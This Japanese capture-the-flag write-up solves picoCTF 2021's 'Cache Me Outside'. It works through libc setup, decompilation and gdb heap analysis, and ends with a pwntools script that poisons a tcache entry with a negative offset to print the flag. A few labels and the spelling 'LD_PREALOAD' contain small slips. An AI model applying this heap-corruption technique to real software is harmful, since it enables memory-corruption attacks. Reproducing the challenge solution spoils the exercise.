tcacheの汚染
picoCTF 2021の「Cache Me Outside」。ヒープ問。
tcacheエントリについてアドレスを書き換える。
ローカルで動かすとlibc関連でエラーが発生するのでそのトラブルシューティングについても。
ローカルで動かすとエラー
動かしてるマシンのlibcと与えられたlibcの違いによりエラーが発生する:
shoebill@pwner:~/pico$ ./heapedit Inconsistency detected by ld.so: dl-call-libc-early-init.c: 37: _dl_call_libc_early_init: Assertion `sym != NULL' failed!
適切なリンカをダウンロードして解決する(pwninit
を使用)。
shoebill@pwner:~/pico$ ls heapedit libc.so.6 shoebill@pwner:~/pico$ pwninit bin: ./heapedit libc: ./libc.so.6 fetching linker https://launchpad.net/ubuntu/+archive/primary/+files//libc6_2.27-3ubuntu1.2_amd64.deb setting ./ld-2.27.so executable copying ./heapedit to ./heapedit_patched running patchelf on ./heapedit_patched writing solve.py stub
次のようにLD_PREALOAD
でlibcとリンカを指定して実行する:
shoebill@pwner:~/pico/PwnInit$ ls heapedit heapedit_patched ld-2.27.so libc.so.6 solve.py shoebill@pwner:~/pico/PwnInit$ LD_PREALOAD=./libc.so.6 ./ld-2.27.so ./heapedit Segmentation fault (core dumped)
flag.txt
を用意することに注意する。
shoebill@pwner:~/pico/PwnInit$ echo -n 'picoCTF{test_flag}' > flag.txt shoebill@pwner:~/pico/PwnInit$ LD_PREALOAD=./libc.so.6 ./ld-2.27.so ./heapedit You may edit one byte in the program. Address:
でも毎回この長いのを打ち込むのは面倒だから、patchelf
コマンドで設定してやる:
shoebill@pwner:~/pico/PwnInit$ patchelf --set-interpreter ./ld-2.27.so ./heapedit shoebill@pwner:~/pico/PwnInit$ ./heapedit You may edit one byte in the program. Address:
これで快適に実行できるようになった。
プログラムの概要
shoebill@pwner:~/Pico$ ./conn.sh You may edit one byte in the program. Address: 0 Value: 0 t help you: this is a random string
書いてある通り、1バイトだけ書き換えることができるらしい。アドレスを指定して、そこに値を与える。
よくわからないのでデコンパイルする。
デコンパイルして解析
ghidraでmain
関数をデコンパイル:
undefined8 main(void) { ... local_10 = *(long *)(in_FS_OFFSET + 0x28); setbuf(stdout,(char *)0x0); flag = fopen("flag.txt","r"); fgets(flag_cp,0x40,flag); local_78 = 0x2073692073696874; // this is local_70 = 0x6d6f646e61722061; // a random local_68 = 0x2e676e6972747320; // string. local_60 = 0; local_a0 = (undefined8 *)0x0; for (i = 0; i < 7; i = i + 1) { local_98 = (undefined8 *)malloc(0x80); if (local_a0 == (undefined8 *)0x0) { local_a0 = local_98; } *local_98 = 0x73746172676e6f43; // Congrats local_98[1] = 0x662072756f592021; // ! Your f local_98[2] = 0x203a73692067616c; // lag is: *(undefined *)(local_98 + 3) = 0; strcat((char *)local_98,flag_cp); } local_88 = (undefined8 *)malloc(0x80); *local_88 = 0x5420217972726f53; // Sorry! T local_88[1] = 0x276e6f7720736968; // his won' local_88[2] = 0x7920706c65682074; // t help y *(undefined4 *)(local_88 + 3) = 0x203a756f; // ou: *(undefined *)((long)local_88 + 0x1c) = 0; strcat((char *)local_88,(char *)&local_78); free(local_98); free(local_88); address_input = 0; value_input = 0; puts("You may edit one byte in the program."); printf("Address: "); __isoc99_scanf(&DAT_00400b48,&address_input); printf("Value: "); __isoc99_scanf(&DAT_00400b53,&value_input); *(undefined *)((long)address_input + (long)local_a0) = value_input; local_80 = malloc(0x80); puts((char *)((long)local_80 + 0x10)); ... }
あの長いhexは文字列(echo
をxxd -r
にパイプしたり、pwntoolsのp64
関数とか使えば変換可能)。
標準入力で与える値について、上のghidraの表示をみると、Address
の入力は10進数の整数値、Value
の入力は文字列を与えるとわかる(わかりやすくaddress_input
とvalue_input
と名付けた)。
フラグはlocal_98
に結合されている。特に、local_a0
は0で初期化され、その後local_98
(malloc(0x80)
の返り値)を代入されている。
終盤にある次のコードに注目する:
*(undefined *)((long)address_input + (long)local_a0) = value_input;
つまり、Address
として入力するのは、”local_a0
からのオフセット”ということだ。
デバッグしてヒープの状況を見る
まず、puts("You may edit one byte in the program.")
にブレイクポイントを打ってそのタイミンでのヒープの様子を見てみる:
gdb-peda$ b *main+453 Breakpoint 1 at 0x4009cc gdb-peda$ r ... gdb-peda$ heapinfo (0x20) fastbin[0]: 0x0 (0x30) fastbin[1]: 0x0 (0x40) fastbin[2]: 0x0 (0x50) fastbin[3]: 0x0 (0x60) fastbin[4]: 0x0 (0x70) fastbin[5]: 0x0 (0x80) fastbin[6]: 0x0 (0x90) fastbin[7]: 0x0 (0xa0) fastbin[8]: 0x0 (0xb0) fastbin[9]: 0x0 top: 0x603910 (size : 0x1f6f0) last_remainder: 0x0 (size : 0x0) unsortbin: 0x0 (0x90) tcache_entry[7](2): 0x603890 --> 0x603800
tcacheに2つ繋がれてる。デコンパイル結果からわかる通り、直前で次のようにfree
してるから:
free(local_98); free(local_88); address_input = 0; value_input = 0; puts("You may edit one byte in the program.");
tcacheのエントリ追加・確保は共に先頭に対して行われるから、この場合
- 0x603890 :
local_88
- 0x603800 :
local_98
という対応だ。実際にそれぞれ見ると...
gdb-peda$ x/8s 0x603890 0x603890: "" 0x603891: "8`" 0x603894: "" 0x603895: "" 0x603896: "" 0x603897: "" 0x603898: "his won't help you: this is a random string." 0x6038c5: "" gdb-peda$ x/10s 0x603800 0x603800: "" 0x603801: "" 0x603802: "" 0x603803: "" 0x603804: "" 0x603805: "" 0x603806: "" 0x603807: "" 0x603808: "! Your flag is: picoCTF{test_flag}"
続けて、一番最後にあるputs
:
*(undefined *)((long)address_input + (long)local_a0) = value_input; local_80 = malloc(0x80); puts((char *)((long)local_80 + 0x10));
にブレイクポイントを打ってそのタイミングでのヒープの状況を見てみる。直前でmalloc(0x80)
してることに注意する:
gdb-peda$ b *main+599 gdb-peda$ c ... gdb-peda$ heapinfo (0x20) fastbin[0]: 0x0 (0x30) fastbin[1]: 0x0 (0x40) fastbin[2]: 0x0 (0x50) fastbin[3]: 0x0 (0x60) fastbin[4]: 0x0 (0x70) fastbin[5]: 0x0 (0x80) fastbin[6]: 0x0 (0x90) fastbin[7]: 0x0 (0xa0) fastbin[8]: 0x0 (0xb0) fastbin[9]: 0x0 top: 0x603d20 (size : 0x1f2e0) last_remainder: 0x0 (size : 0x0) unsortbin: 0x0 (0x90) tcache_entry[7](1): 0x603800
確かに先頭にあった0x603890
の方が確保されてる(それで結果的に”〜 this is a random string.”という失敗したことを表す文章が表示さる)。
※ tcacheにてindexの7番はサイズ0x90に対応する。malloc
してるのは0x80バイトだが、そこにヘッダも合わせると0x80バイトをオーバーする。そして、チャンクでは0x10の倍数に揃えられるから結果的にサイズ0x90バイトとして扱われてる。
そしてgdbのheapbase
コマンドでtcacheエントリ全体を見る:
gdb-peda$ heapinfo ... top: 0x603d20 (size : 0x1f2e0) last_remainder: 0x0 (size : 0x0) unsortbin: 0x0 (0x90) tcache_entry[7](2): 0x603890 --> 0x603800 gdb-peda$ heapbase heapbase : 0x602000 gdb-peda$ x/32gx 0x602000 0x602000: 0x0000000000000000 0x0000000000000251 0x602010: 0x0200000000000000 0x0000000000000000 0x602020: 0x0000000000000000 0x0000000000000000 0x602030: 0x0000000000000000 0x0000000000000000 0x602040: 0x0000000000000000 0x0000000000000000 0x602050: 0x0000000000000000 0x0000000000000000 0x602060: 0x0000000000000000 0x0000000000000000 0x602070: 0x0000000000000000 0x0000000000000000 0x602080: 0x0000000000000000 0x0000000000603890 0x602090: 0x0000000000000000 0x0000000000000000 0x6020a0: 0x0000000000000000 0x0000000000000000 ...
戦略
最後にあるmalloc(0x80)
のタイミングで、tcache_entry[7]にlocal_98
だけがつながっている状態を作れば良さそう。
ではどうやってそれよりも先についているlocal_88
をどかす、すなわちtcache_entry[7]から外せばいいのか?
👉 いや外すのではなく、 tcache_etnryの0x603890
の部分を0x603800
に書き換えてやればよい。
address_input
の箇所から、0x603890
のある場所までのオフセットを調べて、value_input
として0x6800
を与える。
tcacheの汚染
1つ目のinput
の箇所にブレイクポイントを打ち、そこからni
で一命令ずつ実行していく。
address_input
として24、value_input
として0xdeadbeefを与えて、そこから少しずつ実行していくとadd
命令がある。そこが(long)address_input + (long)local_a0
なのでこのタイミングでlocal_a0
とかを解析できる:
[-------------------------------------code-------------------------------------] 0x400a29 <main+546>: mov eax,DWORD PTR [rbp-0xa0] 0x400a2f <main+552>: movsxd rdx,eax 0x400a32 <main+555>: mov rax,QWORD PTR [rbp-0x98] => 0x400a39 <main+562>: add rdx,rax 0x400a3c <main+565>: movzx eax,BYTE PTR [rbp-0xa1] 0x400a43 <main+572>: mov BYTE PTR [rdx],al 0x400a45 <main+574>: mov edi,0x80 0x400a4a <main+579>: call 0x4006e0 <malloc@plt> [------------------------------------stack-------------------------------------] 0000| 0x7fffffffdca0 --> 0x7fffffffde48 --> 0x7fffffffe1e1 ("/home/shoebill/Pico/heapedit") 0008| 0x7fffffffdca8 --> 0x100000000 0016| 0x7fffffffdcb0 --> 0x0 0024| 0x7fffffffdcb8 --> 0x3000000000000000 ('') 0032| 0x7fffffffdcc0 --> 0x700000018 0040| 0x7fffffffdcc8 --> 0x6034a0 ("Congrats! Your flag is: picoCTF{test_flag}") 0048| 0x7fffffffdcd0 --> 0x603800 --> 0x0 0056| 0x7fffffffdcd8 --> 0x602260 --> 0xfbad2498 [------------------------------------------------------------------------------] Legend: code, data, rodata, value 0x0000000000400a39 in main () gdb-peda$ i r rdx rdx 0x18 0x18 gdb-peda$ i r rax rax 0x6034a0 0x6034a0
rdxレジスタがaddress_input
(自分が入力した24=0x18)、raxレジスタがlocal_a0
だ!
address_input
のアドレス:0x6034a0
(上で示してるlocal_a0
のアドレス)0x603890
のあるアドレス:0x602088
(heapbase
の結果より)
gdb-peda$ p/d 0x6034a0 - 0x602088 $1 = 5144
exploit
#!/usr/bin/env python3 from pwn import * def attack(conn, **kwargs): address_input = b'-5144' conn.sendlineafter(b'Address: ', address_input) value_input = p64(0x0000000000603800) conn.sendlineafter(b'Value: ', value_input) def main(): conn = remote("mercury.picoctf.net", 17612) attack(conn) conn.interactive() if __name__ == '__main__': main()
5144
ではなく-5144
で成功した0x0000000000603800
はp64()
関数でバイト列にして与える
なぜ”マイナス”5144なのか?
書き換えたい0x0000000000603890
のあるアドレスが、local_a0
よりも下位だから:
address_input
のアドレス:0x6034a0
(local_a0
のアドレス)0x603890
のあるアドレス:0x602088
(%d
だから整数であれば負数だって与えられる)